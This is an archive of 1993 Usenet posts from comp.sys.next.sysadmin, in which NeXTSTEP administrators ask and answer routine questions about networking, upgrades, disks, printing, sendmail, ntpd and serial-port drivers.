Newsgroups: comp.sys.next.sysadmin From: clarance@nshade.uah.ualberta.ca (Clarance Howatt) Subject: NETMASK PROBLEM Message-ID: <1993May1.004904.10569@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada Date: Sat, 1 May 1993 00:49:04 GMT Background: In the hospital where I work there are several domains ranging from xxx.xxx.104.xxx to xxx.xxx.111.xxx. For security reasons only the internet addresses in the xxx.xxx.109.xxx domain have access to the internet.(the router ignores everything else). I have 4 (soon to be 8) NeXT color slabs on the xxx.xxx.109.xxx domain. Problem: I need to find a way to allow the NeXTs on th 109 domain to talk to NeXTs that are not on the 109 domain. Ya I thought it would be easy to. I changed the netmask to 255.255.248.0 and thought that was it. The result was that although the NeXTs could now see the entire hospital network only the server could get outside of this domain. It would seem that NFS is doing something magic. If you have any thoughts one this they would be greatly appreciated. regards --------- Clarance Howatt Age only matters if you're cheese
Newsgroups: comp.sys.next.sysadmin From: mordor!shane (Shane Holder) Subject: Re: Exceedingly slow user logins Message-ID: <C64r5H.3uD@mordor.uucp> Sender: shane@mordor.uucp (Shane Holder) References: <1993Apr21.190809.11444@kakwa.ucs.ualberta.ca> Date: Tue, 27 Apr 1993 06:53:40 GMT In article <1993Apr21.190809.11444@kakwa.ucs.ualberta.ca> sherwood@space.ualberta.ca (System Administrator) writes: > > One machine on our net has become VERY slow to complete the workspace > initialization. (20 minutes+) * Stuff Deleted * I had a problem similar to this but my response time was not that bad, the solution, though could be the same. The best I could figure is when workspace gets started it searches the workspace path to associate file icons with extensions. I had a huge LocalApps directory with CoXist ~50M, Frame, etc. Workspace seems to recursivly descend into the directories in the path. I would imagine that if your LocalApps is NFS mounted and you have lots-o apps this could take a long time. My solution was to move CoXist out of the path and move any apps that don't have documents associated with them to other Local directories not in WS's path, ie. I created directories like LocalAdmin, etc. I'd be interested in knowing if anyone else has had trouble like this and what solutions have been found. Shane Holder sholder@cse.uta.edu
Newsgroups: comp.sys.next.sysadmin From: lena@Happy-Man.com (Galena_Canada) Subject: Disk Healer s/w out there? Message-ID: <1993May1.000117.27989@Happy-Man.com> Organization: Happy Man Corp., Vashon Island, WA 98070-7399 Date: Sat, 1 May 1993 00:01:17 GMT We're in need of a program that will search out bad blocks on a SCSI disk in a systematic fashion. As near as I can tell fsck(8) is inadequate and NeXT's disk(8) doesn't work on SCSI drives (please *do* correct me if I am mistaken!). Any and all suggestions most welcome... 'Lena the Sysadmistress -- Galena_Canada@happy-man.com Happy Man Corp. 206/463-9399 x101 4410 SW Pt. Robinson Rd., Vashon Island, WA 98070-7399 fax x108 We publish SOLID VALUE for the intelligent investor. NextMail OK Info free; sample $20: Send POSTAL addr: Solid-Value@happy-man.com -- / 'Lena // // Sunny Ranch lena@sorceress.wa.com //
Newsgroups: comp.sys.next.sysadmin From: ryne@beta.lanl.gov (Robert Ryne) Subject: NS 2.1 -> 3.0 upgrade problem solved (bad media) Message-ID: <1993Apr30.233030.1021@newshost.lanl.gov> Sender: news@newshost.lanl.gov Organization: Los Alamos National Laboratory Date: Fri, 30 Apr 1993 23:30:30 GMT Thanks to the people who sent me e-mail about my botched 2.1 -> 3.0 upgrade. On my 2nd attempt, I booted from the floppy and installed from the CD; this time I was able to see on the monitor that the reason so many files had failed to be copied the first time was because of media errors. I borrowed another CD, and it worked perfectly. Now I just have to re-install user accounts, third party apps,... Robert Ryne
Newsgroups: comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: where in the world is merge ? In-Reply-To: ginsparg@qfwfq.lanl.gov's message of Thu, 29 Apr 1993 21:38:13 GMT To: ginsparg@qfwfq.lanl.gov (Paul Ginsparg 505-667-7353) Message-ID: <CEDMAN.93Apr30125828@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1993Apr29.213813.18117@newshost.lanl.gov> Date: Fri, 30 Apr 1993 16:58:28 GMT In article <1993Apr29.213813.18117@newshost.lanl.gov> ginsparg@qfwfq.lanl.gov (Paul Ginsparg 505-667-7353) writes: in 3.0, i find a man page for a utility called merge (attached below) which could be useful, but there's no merge on my path (or elsewhere). anyone know where it is, or, if not included in nextstep distribution, whether merge (or some equivalent) is available on an archive somewhere? Look in /usr/lib. Carl Edman
Newsgroups: comp.sys.next.sysadmin From: M_Carling@BlueRose.com (M Carling) Subject: Re: Help! Trouble with 2.1 -> 3.0 upgrade (long) Message-ID: <1993Apr30.151119.16058@bluerose.com> Sender: m@bluerose.com Organization: Blue Rose Systems, Inc. References: <1993Apr29.045440.9928@newshost.lanl.gov> Distribution: na Date: Fri, 30 Apr 1993 15:11:19 GMT In article <1993Apr29.045440.9928@newshost.lanl.gov> ryne@beta.lanl.gov (Robert Ryne) writes: > Today I upgraded my Cube (8M/340M) from NS 2.1 to NS 3.0. > Unfortunately the UpgradeLog file is full of errors, mainly > of the form "Couldn't copy xxx/xxx to xxx/xxx." I knew something > was wrong when I couldn't access Webster. It turns out that many of > the affected files are from NextAdmin, NextDeveloper, NextLibrary > and /usr! Has anyone seen this behavior before? Any suggestions on > the simplest way to fix my filesystem? Use BuildDisk.app. M Carling President, Bay Area NeXT Group
Newsgroups: comp.sys.next.sysadmin From: M_Carling@BlueRose.com (M Carling) Subject: Re: How to make a bootable floppy Message-ID: <1993Apr30.151428.16114@bluerose.com> Sender: m@bluerose.com Organization: Blue Rose Systems, Inc. References: <1993Apr29.230846.17604@cs.uno.edu> Distribution: na Date: Fri, 30 Apr 1993 15:14:28 GMT In article <1993Apr29.230846.17604@cs.uno.edu> jstelly@math.uno.edu (John R. Stelly II) writes: > > One of our NeXT Stations cannot be booted at all - not even in single-user > mode. When I attempt to boot it from within the monitor to observe what's > going on, it appears that its hard disk is completely full. The only > thing we can think of to do is to boot it from a floppy disk, but we don't > have any bootable floppies. So, does anyone know of a way to create a > bootable floppy disk(s) - if that's at all possible - from which I can > then boot the problem Station? There is a script called BootFloppy3.0.tar.Z (or something close to that) at sonata.cc.purdue.edu. M Carling President, Bay Area NeXT Group
From: nevai@math.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin Subject: What the heck are these "<mach-task>"??? Date: 1 May 1993 10:34:01 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <1rtjmp$9lo@mathserv.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu I run NeXT OS 3.0. What the heck are these "<mach-task>" things: % ps -auxw | grep mach root -1 0.0 0.0 0K 0K ? S 0:00 <mach-task> root -1 0.0 0.0 0K 0K ? S 0:00 <mach-task> root -1 0.0 0.0 0K 0K ? S < 0:00 <mach-task> root -1 0.0 0.0 0K 0K ? S 0:00 <mach-task> root -1 0.0 0.0 0K 0K ? S 0:00 <mach-task> root -1 0.0 0.0 0K 0K ? ?W< 0:00 <mach-task> etc. etc.??? They just keep accumulating. Should I have a cron job to keep murdering them? Please respond by email. Thanks. Take care...Paul Paul Nevai nevai@math.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.sysadmin From: Iroo Subject: Setting up UUCP Message-ID: <1993May1.144105.3131@deep13.com> Sender: iroo@deep13.com Organization: Deep-13 Date: Sat, 1 May 1993 14:41:05 GMT I would like to set up my machine so that I can have a friend dialup into me using UUCP. For a variety of reasons, SLIP cannot be used. I know it is more a UNIX question than NeXT, but does anyone have a good way of actually doing this? What do I need to put into their .login script? Thanks.... -- Ira Frosch gypsy!iroo@csn.org NeXTMail - OK! -- Ira Frosch gypsy!iroo@csn.org
From: dean@thrall.com (Dean Johnson) Newsgroups: comp.sys.next.sysadmin Subject: Ownership and Permission problems Date: 1 May 1993 21:00:54 GMT Organization: Northwest Nexus Inc. Distribution: world Message-ID: <1ruoe6$q5t@nwfocus.wa.com> Once again I find myself in need of some advice/help. I just grabbed the file "AlexAlexNeXTSTEPBook.tar.Z" of an ftp site and uncompressed and unarchived it; with a strange side effect. After get a directory named "PostScript" I noticed that it had different permissions and ownerships than it should have had. I had unarchived it as "root", but didn't look at it until later. So, when I went to delete the dir, the system beeped at me. Examining the output from "ls -lag" it showed that the dir "PostScript" was owned by user "steph" group "wheel". So, all that said. I do have a user named "steph" (my wife), but she is group "other" - not "wheel". Second why would she have permission and not root (the one that unarchived the .tar file). After deleting it I unarchived it as "dean" (me) and it had the permissions and ownerships that it should have (user dean - group other). Can anybody help me understand this strange mix-up? I'm hopeful that this isn't a major problem, just a quirk (maybe). Any help is greatly appreciated. Thanks for your time, Dean Johnson -- NeXTmail Please | More computer stuff! | dean@thrall.com | - My wife |
Newsgroups: comp.sys.next.sysadmin From: fell@binah.cc.brandeis.edu Subject: why does power off not work? Message-ID: <1993May1.230714.25091@news.cs.brandeis.edu> Sender: news@news.cs.brandeis.edu (USENET News System) Organization: Brandeis University Date: Sat, 1 May 1993 23:07:14 GMT First of all, let me express my thanks to all who took their time to answer my previous query about transferring my file syustem from one external to another. I do appreciate the efforts. Now, I have the operating system up and running on my new external wh ich I use a my boot device. The problem is this. After logging off and pressing the power off button, the system will not turn off on its own. The only thing I can do is hit the button again and then its powers down. Now, upon rebooting, the external is corrupted and fsck must do it work. So far, I can reboot each time but it is certainly inconvenient the have the exteral repaired every time I boot up and I do not trust things to turn worse at some point. Does any good soul have a good suggestion as to what the problem is? Thanks again in advance.
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Re: why does power off not work? Message-ID: <C6Dtns.2F5@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University References: <1993May1.230714.25091@news.cs.brandeis.edu> Date: Sun, 2 May 1993 04:26:16 GMT In article <1993May1.230714.25091@news.cs.brandeis.edu> fell@binah.cc.brandeis.edu writes: > Now, I have the operating system up and running on my new external wh >ich I use a my boot device. The problem is this. After logging off and pressing the power off button, the system will not turn off on its own. The only >thing I can do is hit the button again and then its powers down. Now, upon >rebooting, the external is corrupted and fsck must do it work. So far, I >can reboot each time but it is certainly inconvenient the have the exteral >repaired every time I boot up and I do not trust things to turn worse at >some point. Does any good soul have a good suggestion as to what the problem >is? Thanks again in advance. Well, I've seen this happen on three different machines after an upgrade to 3.0 from 2.1, so I'll mention it as a possibility. For some reason, the link /etc/halt -> /usr/etc/halt got corrupted. The link was turned into /etc/halt -> /usr/^#@$@#%/$#!lt. I just removed the link and recreated it, then things worked well. May not be your problem, but if it is at least the fix is easy. (-: -rob --- Rob Francis Unix Systems Specialist, Indiana University francisr@indiana.edu (812)855-0327
Newsgroups: comp.sys.next.sysadmin From: ian@pyrian.com (Ian H. Stewart) Subject: Cnews,bnews,INN Which one Message-ID: <1993May2.065625.274@pyrian.com> Sender: ian@pyrian.com Organization: PYRIAN Software Group - Makers of UUCP-EZ & I'm On Vacation. Date: Sun, 2 May 1993 06:56:25 GMT Which one do I want. I am currently using Cnews, but now need to manage multi-platform machines. I need source etc. Which of the three or others? are better. Things I would like to see: fewer binaries source easily compiled for one or multi arch. Any help / direction is appreciated. -- Ian H. Stewart | voice/fax 415-664-1170 Pyrian Software Group | Net Ian_Stewart@pyrian.com NeXTSTEP Consulting | Isn't LiFE more like RiSK?
Newsgroups: comp.sys.next.misc,comp.sys.next.hardware,comp.sys.next.sysadmin From: thompson@netcom.com Subject: want to add ADB to my turbo color--have you done it? help! Message-ID: <thompsonC6FIus.5yB@netcom.com> Followup-To: comp.sys.next.hardware Summary: adb turbo color upgrade Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Mon, 3 May 1993 02:28:03 GMT If anyone out there has successfully gotten their turbo color non-ADB switched to an ADB version (by getting the new roms, monitor, keyboard, etc, from NeXT), I would like to hear from you. My current (Fimi) monitor is dying, and I don't want another--I want the Sony. Please help me out by letting me know what you had to go through to get it changed. I want to have black hardware that LASTS and doesn't just go to hell. thanks, Eric p.s. if it matters, this machine is still under warranty.
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin From: eps@shell.portal.com (Eric Schwartz) Subject: FAXing with the Worldblazer? Message-ID: <C6FLK9.9FD@unix.portal.com> Followup-To: poster Sender: news@unix.portal.com Organization: Portal Communications Company Date: Mon, 3 May 1993 03:26:32 GMT Has anyone been successful hooking up a Telebit Worldblazer to a NeXTstation, and being able to send FAXen as well as communicate at high speeds via modem? Thanks, Eric -- Eric Schwartz eps@shell.portal.com
Newsgroups: comp.sys.next.sysadmin From: mcphee@nxsci245.mrs.umn.edu (Nic McPhee) Subject: Installing gcc v2.3.3 under NextStep 2.1 Message-ID: <C6FAqs.Ct2@cda.mrs.umn.edu> Sender: news@cda.mrs.umn.edu (USENET News System) Organization: University of Minnesota - Morris Date: Sun, 2 May 1993 23:32:51 GMT I'm trying to install gcc v2.3.3 under NextStep 2.1, and it's giving me trouble. Everything toddles along fine for many minutes, but then I get the following: /xgcc -B./ -DIN_GCC -g -DNO_MEM -DNO_STDDEF -DNO_LONG_DOUBLE_IO -O0 -I. -c /tmp/O_gcc-2.3_3/gcc-2.3.3/enquire.c /xgcc -B./ -DIN_GCC -g enquire.o -o enquire ld: Undefined symbols: __NXArgc __NXArgv __environ collect: /bin/ld returned 1 exit status *** Exit 1 Stop. I've seen something like this before, but have no memory of how to handle it. I suspect this is a trivial thing to fix, but I'm stuck and was hoping you folks could lend a hand. Many thanks, Nic McPhee mcphee@cda.mrs.umn.edu University of Minnesota, Morris
From: nevai@math.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin Subject: How to dump directories instead of filesystems??? Date: 3 May 1993 11:05:31 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <1s2u9r$ml4@mathserv.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu The NEXT 3.0 version of dump can only dump filesystems but not directories, I think. Is there a way to do the latter. E.g., where can I get a "dump" which would do the following job: dump 1unf /MYDUMP/dumped.$$ /etc (I think the SUN dump does this) Please respond by email. Thanks. Take care...Paul Paul Nevai nevai@math.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.sysadmin,comp.protocols.nfs From: ijeff@hank.carleton.ca (Ian Jefferson) Subject: Printing from windows to a NeXT printer Message-ID: <ijeff.736109411@cunews> Summary: I need to filter out ^D's from print jobs Keywords: TCP/IP printing windows Sender: news@cunews.carleton.ca (News Administrator) Organization: Carleton University Date: Thu, 29 Apr 1993 18:50:11 GMT Summary say's it all really. I would like to filter out the leading ^D from Windows printing jobs in an elegant (if possible) fashion. This character preceeds the %!PS magic number/string that identifies all properly formed postscript files. These print jobs are going through a re-directed parallel port using bsd printing services. Printing to a file and editing the file are not suitable alternatives. This seems to be a general problem printing from DOS applications which imbed a communication protocol in the postscript file. The control-D is a reset command for an Apple Laserwriter! I'm using Beame & Whiteside NFS. Thanks, if there is suitable response I will summarize. -- --------------------------------------------------------------------------- Ian Jefferson ijeff@ccs.carleton.ca No NeXT mail please! ijeff@computeractive.on.ca NeXT mail please!
From: disc@vector.intercon.com (David Casti) Newsgroups: comp.infosystems.wais,comp.sys.next.misc,comp.sys.next.software,comp.sys.next.sysadmin Subject: swais for the NeXT Date: 3 May 1993 15:25:58 GMT Organization: InterCon Systems Corporation - Herndon, VA USA Message-ID: <1s3di6$qg@news.intercon.com> Hi, I've been completely unsuccessful at building swais on my NeXT running NeXTStep 3.0. Does someone have a binary that I can snag? In return, I'll put the binary in my anonymous FTP tree so the whole world can have at it. Thanks, David.
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: Looking for printer queue manager (not NeXTs!!) Date: 3 May 1993 15:24:32 GMT Organization: University of Houston Message-ID: <1s3dfg$sd9@menudo.uh.edu> Has anyone written a better printer queue manager (NeXTSTEP or command line) than the one provided by NeXT. The NeXT version is lacking, mainly in that you can't re-order the jobs in the queue. Using unix you can *atleast* move jobs to the top (ie., lpc topq job username)... Info or code will do nicely! -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
From: annard@theborg.stack.urc.tue.nl (Annard Brouwer) Newsgroups: comp.sys.next.sysadmin Subject: ntpd revisited Date: 3 May 1993 10:27:16 GMT Organization: the Borg Distribution: world Message-ID: <1s2s24INN62@theborg.stack.urc.tue.nl> Hello there, I was wondering how to make the NeXT understand that I want to use a non-NetInfo host as a Master Time Server. According to the documentation I have (which, by the way, is for NS2.2 and it has to be done on a NS3.0 machine) I just have to add a machine to the panel I get when selecting Network Time Configuration in the HostManager application and add it to the '/' domain. Well, this doesn't work :-( Can anybody shed some light on this? The manual page for ntpd is also not extremely informative... Thanks in advance, Annard -- Annard Brouwer annard@stack.urc.tue.nl (NeXTmail appreciated) People? You can forget it.
From: shuque@spectre.sas.upenn.edu (Shumon Huque) Newsgroups: comp.sys.next.sysadmin Subject: Re: ntpd revisited Message-ID: <124777@netnews.upenn.edu> Date: 3 May 93 18:40:30 GMT References: <1s2s24INN62@theborg.stack.urc.tue.nl> Sender: news@netnews.upenn.edu Organization: University of Pennsylvania In article <1s2s24INN62@theborg.stack.urc.tue.nl> rcbaab@urc.tue.nl writes: >Hello there, > >I was wondering how to make the NeXT understand that I want to use a >non-NetInfo host as a Master Time Server. According to the documentation I have >(which, by the way, is for NS2.2 and it has to be done on a NS3.0 machine) I >just have to add a machine to the panel I get when selecting Network Time >Configuration in the HostManager application and add it to the '/' domain. >Well, this doesn't work :-( I do this on my network, and all I had to do was add the non-netinfo host to my netinfo 'hosts' database and then make it a Master (or Clone) time server through the network time config panel in HostManager.app, and finally restart ntpd or reboot. I've had no problems so far .. --Shumon. shuque@spectre.sas.upenn.edu
From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo) Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.misc Subject: Sun HD on a NeXT Date: 3 May 1993 20:00:17 GMT Organization: The Ohio State University Distribution: world Message-ID: <1s3tkh$7bk@charm.magnus.acs.ohio-state.edu> I recently purchased a Seagate ST1480N SCSI-2 hard drive. I used it on my Apple II for a while, but got a new scsi interface for it. Well, the interface doesn't like the Sun Sparc station's information that was wrote on the control block. (The previous owner had it on a Sun...) So I figured I'd use the drive on the NeXT here. I plugged it in. Powered it up, and was in the monitor to watch the boot process. It came up as "generic scsi at sg0 at sc0 target 7 lun 7 I would have thought that the cpu would have known the drive was a seagate) Anyway, I cannot figure out what to do now. If I try to do "/usr/etc/sdform /dev/sg0, I get: peach# /usr/etc/sdform /dev/sg0 Request Sense command failed ioctl(SDIOCSRQ): Permission denied I found a few programs called "SCSI tools" on a ftp site, so I tried those: peach# /RemoteSpace/PeanutSpace/Shane/scsitools/inquire -t 1 -l 0 "QUANTUM /LP105S 910109405/2.8 /" typ=0 dev=0 ans=2 fmt=1 -t 5 -l 0 "SEAGATE /ST1480 SUN0424/5826/" typ=0 dev=0 ans=2 fmt=2 So it knows the drive /is/ there. (You can even see the SUN0424 there, I'm not sure whether that's good or bad) Heck, I'm not even sure if the controller block of the drive is intact... If I try to format the drive through disk, I get: peach# /etc/disk -i /dev/sg0 get info: Invalid argument What am I doing wrong here? The cpu is obviously able to access the drive, so I don't think there's anything wrong with the drive. I -do- have all the drive specs from Seagate, so if I had to re-write the controller block from scratch, as long as I had a program that would write the data for me, I could do it. Anyone want to stear me in the right direction? Thanks, shane -- :::Apple II forever!!:::GO BUCKS!:::Play Lacrosse!!:::Raging Bullwinkle!::: : Shane M . Zatezalo - CIS OSU: i-net> szatezal@magnus.acs.ohio-state.edu : : root@tap.colum.fnet.org : NeXTMail> shane@kiwi.swhs.ohio-state.edu : :GS::: call T.A.P. a Futurenet BBS 614-297-7031 16.8k DS HST 425 MEGS ::GS:
From: disc@vector.intercon.com (David Casti) Newsgroups: comp.infosystems.wais,comp.sys.next.misc,comp.sys.next.software,comp.sys.next.sysadmin Subject: Re: swais for the NeXT Followup-To: comp.infosystems.wais,comp.sys.next.misc,comp.sys.next.software,comp.sys.next.sysadmin Date: 3 May 1993 21:18:09 GMT Organization: InterCon Systems Corporation - Herndon, VA USA Message-ID: <1s426h$2r2@news.intercon.com> References: <1s3di6$qg@news.intercon.com> David Casti (disc@vector.intercon.com) wrote: : I've been completely unsuccessful at building swais on my NeXT running : NeXTStep 3.0. Does someone have a binary that I can snag? In return, : I'll put the binary in my anonymous FTP tree so the whole world can have : at it. Many thanks to Joe Rosenfeld (cowboy@trans.csuohio.edu) who emailed me the binary. It is now available at vector.intercon.com:/pub/next/swais via anonymous FTP. David. ============================================================================= David Casti Internet: disc@vector.intercon.com Technical Support Engineer InterCon Systems Corporation Phone: (703) 709-5554 950 Herndon Parkway, Suite 420 FAX: (703) 709-5555 Herndon, Virginia 22070 ============================================================================= No official InterCon correspondence will ever have vector.intercon.com as the return address. =============================================================================
From: wcwang@cs.indiana.edu (Bill Wang) Newsgroups: comp.sys.next.sysadmin Subject: HP laserjet 4m driver for NeXT Message-ID: <1993May3.161235.12918@news.cs.indiana.edu> Date: 3 May 93 21:12:29 GMT Organization: Indiana University Computer Science, Bloomington Is there such thing available for ftp or do I need to get it from NeXT? This is for NeXTStep 3.0. Thanks in advance! -- Bill Wang US Mail = Psychology Department, Indiana University, Bloomington, IN 47405 Internet = wcwang@cs.indiana.edu
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.misc From: sbackus@ren.eecs.wsu.edu (Samuel Backus - EE) Subject: Macintosh PS on a NeXT Message-ID: <1993May3.213114.26315@serval.net.wsu.edu> Keywords: Postscript Sender: news@serval.net.wsu.edu (USENET News System) Organization: Washington State University Date: Mon, 3 May 93 21:31:14 GMT I am using a Macintosh IIsi and want to print to my school's NeXTstation computer printers. I also want to do this using Postscript. I am running MSWord 4.0D under system 7.0.1 and the NeXT machines are running under NeXT Step 2.1. I also have access to machines running NeXT Step 3.0. I also want to be able to transfer the files by disk, as my Mac is not connected to the school's NeXT computers. Any help would be appreciated. Please e-mail replys to my address below as I do not subscribe to this group. Sam <sbackus@yoda.eecs.wsu.edu>
Newsgroups: comp.sys.next.sysadmin From: ian@pyrian.com (Ian H. Stewart) Subject: Re: Cnews,bnews,INN Which one Message-ID: <C6H30H.6n5@pyrian.com> Sender: ian@pyrian.com (Ian H. Stewart) Organization: PYRIAN Software Group - Makers of On Vacation(tm). 415 664-1170 ext 7. Date: Mon, 3 May 1993 22:41:04 GMT I guess I should point out that it will be used over a UUCP connection. Thanks -- Ian H. Stewart | voice/fax 415-664-1170 Pyrian Software Group | Net Ian_Stewart@pyrian.com NeXTSTEP Consulting | Isn't LiFE more like RiSK?
Newsgroups: comp.sys.next.sysadmin From: ian@pyrian.com (Ian H. Stewart) Subject: sendmail.cf samples please Message-ID: <C6H318.6nw@pyrian.com> Sender: ian@pyrian.com (Ian H. Stewart) Organization: PYRIAN Software Group - Makers of On Vacation(tm). 415 664-1170 ext 7. Date: Mon, 3 May 1993 22:41:32 GMT I am looking for some sendmail configuration files from people using: Netcom PSI UUNET or any other service provider. I am also interested in learning how to "fix" my sendmail.cf so that my "reply to" will be "ian_stewart@pyrian.com" instead of "pyrian!ian@netcom.netcomsv.com". YES, I do have "ian_stewart@pyrian.com" in my Mail.app reply to field. Somehow my sendmail.cf is rewritting it. I believe it has to do with rewriting, but I don't know how to fix it. Any help is appreciated. NeXTMAIL accepted! -- Ian H. Stewart | voice/fax 415-664-1170 Pyrian Software Group | Net Ian_Stewart@pyrian.com NeXTSTEP Consulting | Isn't LiFE more like RiSK?
Newsgroups: comp.sys.next.sysadmin From: perkins@spot.Colorado.EDU (PERKINS TYLER R) Subject: Weird return mail address problem Message-ID: <1993May3.214515.16024@ucsu.Colorado.EDU> Sender: news@ucsu.Colorado.EDU (USENET News System) Organization: University of Colorado, Boulder References: <1s2s24INN62@theborg.stack.urc.tue.nl> <124777@netnews.upenn.edu> Date: Mon, 3 May 1993 21:45:15 GMT Knowing little about sendmail, I don't have a clue about the following mail problem: Mail seems to work fine on lasagna.Colorado.EDU, which is running NS 3.0. Mail is received from many distant hosts. But whenever mail is received from any user on a NeXT named "linguini.sel.bldrdoc.gov" (running NS 2.1), the the addresses in the "From" fields in the message are changed to "linguini.Colorado.EDU"! Naturally, a reply to this address fails. I've run "telnet lasagna.Colorado.EDU smtp" from linguini to verify that indeed the correct full name for linguini is being received by lasagna. But the error still appears in the received message. This happens whether or not the NeXT Mail application is used to read the mail. The following is a message sent from perkins@linguini.sel.bldrdoc.gov to perkins@lasagna.Colorado.EDU : From perkins@linguini.Colorado.EDU Mon May 3 15:20:53 1993 Return-Path: <perkins@linguini.Colorado.EDU> Received: from linguini by lasagna.Colorado.EDU (NX5.67c/NX3.0S) id AA13982; Mon, 3 May 93 15:20:51 -0600 Received: by linguini.sel.bldrdoc.gov (NeXT-1.0 (From Sendmail 5.52)/NeXT-2.0) id AA00239; Mon, 3 May 93 15:17:22 MDT Date: Mon, 3 May 93 15:17:22 MDT From: perkins@linguini.Colorado.EDU (Tyler Perkins) Message-Id: <9305032117.AA00239@ linguini.sel.bldrdoc.gov > To: perkins@lasagna.Colorado.EDU Subject: Test without Mail application Status: R This was opened using Unix mail. Any ideas would be greatly appreciated. Thanks in advance. Tyler Perkins perkins@spot.colorado.edu
From: tg2@prism.gatech.EDU (T. Govindaraj) Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.software Subject: Wacom tablet on tty port B messes up SLIP/getty Summary: Tablet driver messes up the serial lines. How do I fix it? Keywords: digitizer, tablet, Wacom, SLIP Message-ID: <95917@hydra.gatech.EDU> Date: 4 May 93 00:23:06 GMT Followup-To: comp.sys.next.hardware Organization: Georgia Institute of Technology I have been running SLIP (Louis Mamakos's free version) happily on my cube for a couple of months on a SupraFAX v.32bis modem. I also use DFax on my modem. DFax and Mamakos's SLIP are two of the best products I have used on any computer. Everything was fine until I bought an electrostatic Wacom (421E) tablet. I like the tablet too, except for a rather serious problem. After I use the tablet, it messes up the serial ports. NeXT has a driver for the tablets. I am supposed to connect the tablet to the serial port B, which is what I did. However, it interferes with Serial port A to which the modem is connected. The tablet driver has no business interfering with the serial port to which it is NOT connected. When this happens, i.e., after I use the tablet, I cannot make a SLIP connection (nor a cu connection) until I reboot the machine and leave the tablet off. If I don' reboot, I get the following: Apr 25 09:24:29 malgudi mach: Tablet driver: tablet attached Apr 25 09:24:40 malgudi tcldiald[118]: failed read (-1 bytes) from "/dev/dialup0", No such device Apr 25 09:24:54 malgudi last message repeated 3315 times I sent mail to the DFax people and received prompt response with some suggestions. From the mail I received from Bruce Gingery of TotSysSoft it was clear that the tablet driver is at fault. Has anyone else encountered this problem? If you did, how did you fix it? I guess I could ask NeXT for help, but I don't know whom to ask. (I will find out from the local NeXT person, if I don't get any suggestions from the NeXT.) I guess NeXT would help me, since I have been NeXT fan (and continue to be) from the very beginning. In fact, I helped set up SLIP connections for the IEEE International Conference on Robotics and Automation that is currently meeting in Atlanta with NeXT machines from our lab, and from NeXT. I wanted to show off NeXT (and Mamakos's SLIP)! :-) If you do offer me suggestions, please don't make them too technical! I am just a dumb engineering professor (from the top-ranked industrial and manufacturing) engineering program in the US. :-) Thank you very much. govind -- T. Govindaraj +1 404 894 3873 tg@chmsr.gatech.edu,NeXTmail welcome. Member, League for Programming Freedom (write lpf@uunet.uu.net) School of Industrial and Systems Engineering, Georgia Institute of Technology 765 Ferst Drive, ISyE-0205, Atlanta, GA 30332-0205.
Newsgroups: comp.sys.next.sysadmin,comp.protocols.nfs From: fred@maccs.mcmaster.ca (Fred Whiteside) Subject: Re: Printing from windows to a NeXT printer Message-ID: <1993May4.013124.7831@mcshub.dcss.mcmaster.ca> Sender: usenet@mcshub.dcss.mcmaster.ca Organization: Beame & Whiteside Software Ltd. References: <ijeff.736109411@cunews> Date: Tue, 4 May 1993 01:31:24 GMT In <ijeff.736109411@cunews>, ijeff@hank.carleton.ca writes: >Summary say's it all really. I would like to filter out the >leading ^D from Windows printing jobs in an elegant (if possible) >fashion. This character preceeds the %!PS magic number/string that >identifies all properly formed postscript files. > >This seems to be a general problem printing from DOS applications >which imbed a communication protocol in the postscript file. The >control-D is a reset command for an Apple Laserwriter! > >I'm using Beame & Whiteside NFS. If you are using Windows 3.0, then you should use the /P option on the net link statement (it prepends a dummy postscript header). If you are using windows 3.1, then you should set the CTRLD=0 option in the appropriate section of WIN.INI. This option prevents windows from emitting that initial ^D. I'll include the relevant section on the windows 3.1 printers.wri file ... -fred --extract from printers.wri -- 4.3 Printing a PostScript Print File in UNIX The PostScript printer driver inserts a CTRL+D key combination at the beginning of every print job to reset the printer. Because UNIX systems recognize CTRL+D as an end-of-file character, any print files you create by using the PostScript printer driver do not print in UNIX. You can correct this problem by removing the CTRL+D key combination from the print job. To do this, add the following setting to the [ModelName,Port] section in the WIN.INI file (where ModelName is the name of your PostScript printer model): CtrlD=0 For more information about editing the WIN.INI file, see the WININI.WRI online document. Fred Whiteside Beame & Whiteside Software Ltd., Caledonia, Ontario fred@bws.com fred@maccs.DCSS.McMaster.CA ...!uunet!utai!utgpu!maccs!fred
